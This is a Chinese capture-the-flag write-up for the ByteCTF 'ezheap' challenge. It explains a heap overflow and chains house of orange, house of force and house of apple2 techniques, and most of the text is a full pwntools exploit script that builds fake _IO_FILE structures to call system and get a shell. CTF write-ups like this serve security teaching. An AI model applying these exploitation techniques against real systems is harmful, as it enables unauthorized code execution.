bytectf字节跳动 从ezheap分析force进阶打低版本io
例题分析
静态分析
add
free
这明显不是一个free功能 而是一个加密解密的过程
show
edit
输入多少字节就读入多少字节,这里明显存在一个堆溢出
思路
由于没有free函数 我们可以用house of orange 前期的思路去泄露libc地址,然后通过堆溢出改写top chunk为-1,把堆地址控到tcache头,然后污染,提取出hook函数的地址 并进行修改,改为ogg,但是这道题目应该是禁止了所有的hook函数所以关于exit_hook的打法和学习可以参考我的另一篇文章,这里的话要打io但是由于无法泄露堆地址,所以我们要通过add一个很大的堆块到libc段,就可以在上面布置fake IO_list_all结构体了 然后这里打apple2就可以了 感觉不是很难 直接套板子
exp如下:
#!/usr/bin/python3
import random
import os
import sys
import time
from pwn import *
from ctypes import *
#--------------------setting context---------------------
context.clear(arch='amd64', os='linux', log_level='debug')
sla = lambda data, content: mx.sendlineafter(data,content)
sa = lambda data, content: mx.sendafter(data,content)
sl = lambda data: mx.sendline(data)
rl = lambda data: mx.recvuntil(data)
re = lambda data: mx.recv(data)
sa = lambda data, content: mx.sendafter(data,content)
inter = lambda: mx.interactive()
l64 = lambda:u64(mx.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
h64=lambda:u64(mx.recv(6).ljust(8,b'\x00'))
s=lambda data: mx.send(data)
log_addr=lambda data: log.success("--->"+hex(data))
p = lambda s: print('\033[1;31;40m%s --> 0x%x \033[0m' % (s, eval(s)))
def dbg():
gdb.attach(mx)
#---------------------------------------------------------
# libc = ELF('/home/henry/Documents/glibc-all-in-one/libs/2.35-0ubuntu3_amd64/libc.so.6')
filename = "./pwn"
mx = process(filename)
elf=ELF("./pwn")
libc = elf.libc
#初始化完成---------------------------------------------------------\
def add(size):
sla("Enter 1 to add, 2 to free, 3 to show, 4 to edit, 0 to exit:",b'1')
sla(":",str(size))
def edit(idx,payload):
sla(":",b'4')
sla(b":",str(idx))
sla(b"size\n",str(len(payload)))
s(payload)
def show(idx):
sla(":",b'3')
sla(b":",str(idx))
dbg()
sleep(1)
add(0x100000)
add(0x18)
edit(1,b'a'*0x18+p64(0xd91))
add(0x1008)
add(0xd60)
show(3)
rl("Chunk at index 3: ")
libcbase=h64()-0x3ebca0
log_addr(libcbase)
ogg=libcbase+0x4f322
chunk_addr=libcbase+0x6f6010
log_addr(chunk_addr)
IO_list_all=libcbase+libc.sym['_IO_list_all']
edit(2,b'\x00'*0x1008+p64(0xffffffffffffffff))
add(-0x22010)
add(0x100)
payload=b'\x07'*0x30+p64(IO_list_all)*0x10+b'\n'
edit(5,payload)
pause()
add(0x90)
edit(6,p64(chunk_addr))
_IO_wfile_jumps = libcbase + libc.sym['_IO_wfile_jumps']
system_addr = libcbase + libc.sym['system']
chunk_addr_IO_1_addr = chunk_addr
chunk_addr_IO_2_addr = chunk_addr + 0x500
chunk_addr_IO_3_addr = chunk_addr + 0x1000
chunk_addr_IO_file1 = b''
chunk_addr_IO_file1 += p64(u64(b" sh;".ljust(8, b'\x00'))) + p64(1)
chunk_addr_IO_file1 = chunk_addr_IO_file1.ljust(0x28, b'\x00')
chunk_addr_IO_file1 += p64(1)
chunk_addr_IO_file1 = chunk_addr_IO_file1.ljust(0xa0, b'\x00')
chunk_addr_IO_file1 += p64(chunk_addr_IO_2_addr)
chunk_addr_IO_file1 = chunk_addr_IO_file1.ljust(0xd8, b'\x00')
chunk_addr_IO_file1 += p64(_IO_wfile_jumps)
chunk_addr_IO_file2 = b''
chunk_addr_IO_file2 += p64(0) * 38
chunk_addr_IO_file2 += p64(chunk_addr_IO_3_addr)
chunk_addr_IO_file3 = b''
chunk_addr_IO_file3 += p64(0) * 13
chunk_addr_IO_file3 += p64(system_addr)
payload = b''
payload += chunk_addr_IO_file1
payload = payload.ljust(0x500, b'\x00')
payload += chunk_addr_IO_file2
payload = payload.ljust(0x1000, b'\x00')
payload += chunk_addr_IO_file3
edit(0, payload)
inter()
动态调试过程
申请一个很大的堆块用于后面布局fake结构体
house of orange的前面打法泄露libc地址:
house of force成功劫持tcache 头:
接下来污染造成任意写:
然后就可以伪造结构体走house of apple2路线了
伪造成功 接下来拿shell
0 条评论
可输入 255 字